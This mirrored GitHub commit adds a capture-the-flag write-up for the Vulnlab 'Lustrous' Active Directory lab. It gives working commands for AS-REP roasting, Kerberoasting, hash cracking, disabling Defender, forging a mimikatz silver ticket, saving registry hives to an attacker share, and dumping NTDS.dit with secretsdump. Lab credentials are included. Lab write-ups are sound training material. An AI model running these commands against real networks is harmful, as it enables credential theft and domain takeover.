mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-09-20 06:11:56 +00:00
Create Lustrous.md
This commit is contained in:
ARZ
GitHub
parent
0e92ac3d1d
commit
f3261b38e9
1 changed files with 259 additions and 0 deletions
259
Vulnlab/Lustrous.md
Normal file
259
Vulnlab/Lustrous.md
Normal file
|
|
@ -0,0 +1,259 @@
|
|||
|
||||
# Vulnlab - Lustrous
|
||||
|
||||
# NMAP
|
||||
|
||||
## LusDC.lustrous.vl
|
||||
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
21/tcp open ftp Microsoft ftpd
|
||||
53/tcp open domain Simple DNS Plus
|
||||
80/tcp open http Microsoft IIS httpd 10.0
|
||||
|_http-server-header: Microsoft-IIS/10.0
|
||||
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-08-18 17:17:52Z)
|
||||
135/tcp open msrpc Microsoft Windows RPC
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: lustrous.vl0., Site: Default-First-Site-Name)
|
||||
443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|
||||
|_ssl-date: TLS randomness does not represent time
|
||||
| tls-alpn:
|
||||
|_ http/1.1
|
||||
|_http-server-header: Microsoft-HTTPAPI/2.0
|
||||
| ssl-cert: Subject: commonName=LusDC.lustrous.vl
|
||||
| Subject Alternative Name: DNS:LusDC.lustrous.vl
|
||||
| Issuer: commonName=LusDC.lustrous.vl
|
||||
445/tcp open tcpwrapped
|
||||
3269/tcp open tcpwrapped
|
||||
3389/tcp open tcpwrapped
|
||||
| ssl-cert: Subject: commonName=LusDC.lustrous.vl
|
||||
49669/tcp open tcpwrapped
|
||||
58017/tcp open msrpc Microsoft Windows RPC
|
||||
58052/tcp open unknown
|
||||
```
|
||||
## LusMS.lustrous.vl
|
||||
|
||||
```bash
|
||||
PORT STATE SERVICE REASON VERSION
|
||||
135/tcp open tcpwrapped syn-ack ttl 127
|
||||
139/tcp open tcpwrapped syn-ack ttl 127
|
||||
445/tcp open microsoft-ds? syn-ack ttl 127
|
||||
3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
|
||||
|_ssl-date: 2023-08-18T16:57:21+00:00; -4s from scanner time.
|
||||
| ssl-cert: Subject: commonName=LusMS.lustrous.vl
|
||||
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|
||||
|_http-server-header: Microsoft-HTTPAPI/2.0
|
||||
49668/tcp open unknown syn-ack ttl 127
|
||||
```
|
||||
|
||||
LusDC has webserver running, on accessing that it gives us access denied so it maybe accessible from the machine itself or from LusMS
|
||||
|
||||
<img src="https://i.imgur.com/GgK0FZY.png"/>
|
||||
|
||||
Checking for smb shares on `LusDC` and `LusMS`
|
||||
|
||||
<img src="https://i.imgur.com/uH53NTQ.png"/>
|
||||
|
||||
We didn't get any shares with null authentication, checking the ftp service with anonymous user on LusDC, there's a transfer folder there
|
||||
|
||||
<img src="https://i.imgur.com/qCe97un.png"/>
|
||||
We get few user's directories
|
||||
|
||||
<img src="https://i.imgur.com/egJNyYK.png"/>
|
||||
|
||||
Out of these directories, there's only `ben.cox` who has `users.cvs` file, this file only had domain groups
|
||||
|
||||
<img src="https://i.imgur.com/DHPc17b.png"/>
|
||||
|
||||
## Initital Foothold (ben.cox)
|
||||
|
||||
We have usernames so the only thing we could try here is to perform `AS-REP roasting` which doesn't require any password as `do not require preauthentication` check is marked on these accounts, so with `GetNPUsers.py` we can verify if these users have that check
|
||||
|
||||
```bash
|
||||
GetNPUsers.py lustrous.vl/ -usersfile users.txt -dc-ip LusDC.lustrous.vl -request
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/UYiAuqH.png"/>
|
||||
Having the hash, we can crack it with `hashcat`
|
||||
|
||||
```bash
|
||||
hashcat -a 0 -m 18200 ./hash.txt /usr/share/wordlists/rockyou.txt --force
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/Vyj3m7V.png"/>
|
||||
Having the valid credentials we can check if there's any share `ben` can read but it doesn't show any interesting shares
|
||||
|
||||
<img src="https://i.imgur.com/wIlwnKt.png"/>
|
||||
|
||||
On to enumerating the domain with `python-bloodhound`
|
||||
|
||||
```bash
|
||||
python3 /opt/BloodHound.py-Kerberos/bloodhound.py -d 'lustrous.vl' -u 'ben.cox' -p 'Trinity1' -c all -ns 10.10.152.149
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/BwXQPev.png"/>
|
||||
From ben's groups, he's in `Remote Access` so maybe we can log into LusMS
|
||||
|
||||
<img src="https://i.imgur.com/SdNfrTx.png"/>
|
||||
|
||||
Running the `shortest path to high value targets` we have `tony.ward` who is part of `backup admins` so we'll have to reach to that user somehow and maybe abuse that group.
|
||||
|
||||
<img src="https://i.imgur.com/fPqMs62.png"/>
|
||||
|
||||
To verify if we can have a shell on LusMS, running cme again on winrm
|
||||
|
||||
<img src="https://i.imgur.com/IfOYY8u.png"/>
|
||||
|
||||
```bash
|
||||
evil-winrm -i 10.10.152.150 -u 'ben.cox' -p 'Trinity1'
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/DRw5rw0.png"/>
|
||||
|
||||
From ben's desktop folder we'll get `admin.xml` having the secure string password of local administrator
|
||||
|
||||
<img src="https://i.imgur.com/faews04.png"/>
|
||||
Following this article to retrieve the plaintext password https://systemweakness.com/powershell-credentials-for-pentesters-securestring-pscredentials-787263abf9d8, we'll create two variables, `user` having the username and `pass` having the secure string password which will be piped to `ConvertTo-SecureString` , create `PSCredential` of the username and password and then with `GetNetworkCredential` we'll print out the credentials
|
||||
|
||||
```powershell
|
||||
$user = "Administrator"
|
||||
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d4ecf9dfb12aed4eab72b909047c4e560000000002000000000003660000c000000010000000d5ad4244981a04676e2b522e24a5e8000000000004800000a00000001000000072cd97a471d9d6379c6d8563145c9c0e48000000f31b15696fdcdfdedc9d50e1f4b83dda7f36bde64dcfb8dfe8e6d4ec059cfc3cc87fa7d7898bf28cb02352514f31ed2fb44ec44b40ef196b143cfb28ac7eff5f85c131798cb77da914000000e43aa04d2437278439a9f7f4b812ad3776345367" | ConvertTo-SecureString
|
||||
cred = New-Object System.Management.Automation.PSCredential($user, $pass)
|
||||
$cred.GetNetworkCredential() | Format-List
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/HpJYA36.png"/>
|
||||
|
||||
With this password we can login as administrator
|
||||
|
||||
<img src="https://i.imgur.com/x1jY8V6.png"/>
|
||||
|
||||
Dumping credentials didn't gave us any new set of credential
|
||||
|
||||
<img src="https://i.imgur.com/QXSU6P5.png"/>
|
||||
|
||||
## Forging silver ticket to impersonate as tony.ward
|
||||
|
||||
Going back to bloodhound, we see two kerberoastable users, out of which `svc_web` might be useful for us as there's no mssql service running
|
||||
|
||||
<img src="https://i.imgur.com/vvtLnJ6.png"/>
|
||||
|
||||
With `GetUsersSPNs.py` we can request the hash
|
||||
|
||||
```bash
|
||||
GetUserSPNs.py Lustrous.vl/ben.cox:Trinity1 -dc-ip LusDC.lustrous.vl -request-user svc_web
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/ECIMVFw.png"/>
|
||||
|
||||
```bash
|
||||
hashcat -a 0 -m 13100 svc_web.txt /usr/share/wordlists/rockyou.txt --force
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/2COnAKe.png"/>
|
||||
We saw a web page on LusDC, which we were not able to access, it maybe using kerberos authentication so with `getTGT.py` we can request the kerberos ticket of ben to see if we can access that page
|
||||
|
||||
```bash
|
||||
getTGT.py lustrous.vl/ben.cox:Trinity1 -dc-ip 10.10.222.197
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/a0ye4Kf.png"/>
|
||||
|
||||
Edit `/etc/krb5.conf` file as well
|
||||
|
||||
<img src="https://i.imgur.com/KooIhEo.png"/>
|
||||
|
||||
Now importing the ticket in `KRB5CCNAME` variable
|
||||
|
||||
<img src="https://i.imgur.com/KoBNz1K.png"/>
|
||||
|
||||
With curl we can access the page using kerberos authentication and from the output, it shows that it's some kind of notetaking application where there's a page `/Internal`
|
||||
|
||||
<img src="https://i.imgur.com/7ERcsT8.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/HfonnZz.png"/>
|
||||
|
||||
Here it shows the password of ben and a note about activating kerberos authentication, we have the password of svc_web meaning that we can create a silver ticket to impersonate any user on the application and since we saw tony.ward is part of backup operators group we may need to move forward with that user, so impersonating as tony. Through `rpcclient` we can get sid of tony
|
||||
|
||||
<img src="https://i.imgur.com/S3u4zgD.png"/>
|
||||
|
||||
With `tickter.py` we can forge a silver ticket
|
||||
|
||||
<img src="https://i.imgur.com/G1d4u8W.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/wDXtaTp.png"/>
|
||||
|
||||
But the site was not accessible with this ticket, I am not sure why it wasn't working so I moved on to windows machine to forge the ticket and try from there, to do that since defender is enabled we need to disable it in order to run mimikatz and we need to be `SYSTEM` user on LusMS to do this
|
||||
|
||||
```powershell
|
||||
Set-MpPreference -DisableRealtimeMonitoring $true
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/ElVfnsm.png"/>
|
||||
|
||||
```powershell
|
||||
kerberos::golden /domain:lustrous.vl /sid:S-1-5-21-2355092754-1584501958-1513963426 /rc4:e67af8b3d78df5a02eb0d57b6cb60717 /user:tony.ward /target:LusDC.lustrous.vl /id:1114 /service:http/lusdc.lustrous.vl /ptt
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/TSTPs8j.png"/>
|
||||
Running `klist` we'll see that the ticket is loaded into the memory
|
||||
|
||||
<img src="https://i.imgur.com/34HtOjz.png"/>
|
||||
With `Invoke-WebRequest` we can can access the `Internal` endpoint showing the password for tony.ward
|
||||
|
||||
```powershell
|
||||
Invoke-WebRequest -Uri http://lusdc.lustrous.vl/Internal -UseDefaultCredentials -UseBasicParsing | Select-Object -Expand Content
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/82aHerr.png"/>
|
||||
|
||||
## From Backup Operators To Domain Admin
|
||||
|
||||
Since tony.ward is a member of backup operators, which has `SeBackup` and `SeRestore` privilege which can allow the group members to access any file so here we can take a backup of `ntds.dit` but we can't get a remote shell with this user
|
||||
|
||||
<img src="https://i.imgur.com/1rdazpS.png"/>
|
||||
|
||||
However we can use the PoC https://raw.githubusercontent.com/Wh04m1001/Random/main/BackupOperators.cpp which is made by Filip Dragovic, just replace credentials and add the DC host
|
||||
|
||||
<img src="https://i.imgur.com/O51AT7q.png"/>
|
||||
<img src="https://i.imgur.com/k8ZFNyU.png"/>
|
||||
|
||||
But to my surprise this didn't worked
|
||||
|
||||
<img src="https://i.imgur.com/9HYqhY7.png"/>
|
||||
|
||||
Using `reg.py` from impacket which is for querying remote registry, we can dump `SAM`, `SYSTEM` and `SECURITY` files from registry hive
|
||||
|
||||
```bash
|
||||
reg.py lustrous.vl/tony.ward:U_cPVQqEI50i1X@10.10.233.213 save -keyName 'HKLM\SAM' -o '\\10.8.0.136\UWU'
|
||||
reg.py lustrous.vl/tony.ward:U_cPVQqEI50i1X@10.10.233.213 save -keyName 'HKLM\SYSTEM' -o '\\10.8.0.136\UWU'
|
||||
reg.py lustrous.vl/tony.ward:U_cPVQqEI50i1X@10.10.233.213 save -keyName 'HKLM\SECURITY' -o '\\10.8.0.136\UWU'
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/52jB75F.png"/>
|
||||
<img src="https://i.imgur.com/IqBYo8d.png"/>
|
||||
|
||||
With `secretsdump.py` , we can parse SAM file locally
|
||||
|
||||
```bash
|
||||
secretsdump.py -sam ./SAM.save -system ./SYSTEM.save -security ./SECURITY.save local
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/H1zwEqp.png"/>
|
||||
The administrator hash we get is for DSRM as DC uses NTDS.dit file for the password hashes so we cannot use this hash as DSRM needs to be enabled, so using the machine account (LusDC) with the hash `a34bee37b205abb8908277c4751d79ea` we can dump the `NTDS.dit` file
|
||||
|
||||
```bash
|
||||
secretsdump.py 'LusDC$'@10.10.233.213 -hashes ':a34bee37b205abb8908277c4751d79ea'
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/yepcFK8.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/oRzttls.png"/>
|
||||
|
||||
# References
|
||||
|
||||
- https://systemweakness.com/powershell-credentials-for-pentesters-securestring-pscredentials-787263abf9d8
|
||||
- https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/silver
|
||||
- https://raw.githubusercontent.com/Wh04m1001/Random/main/BackupOperators.cpp
|
||||
- https://www.youtube.com/watch?v=wUy2VXL2y-w&ab_channel=0xdeaddood
|
||||
|
||||
Loading…
Reference in a new issue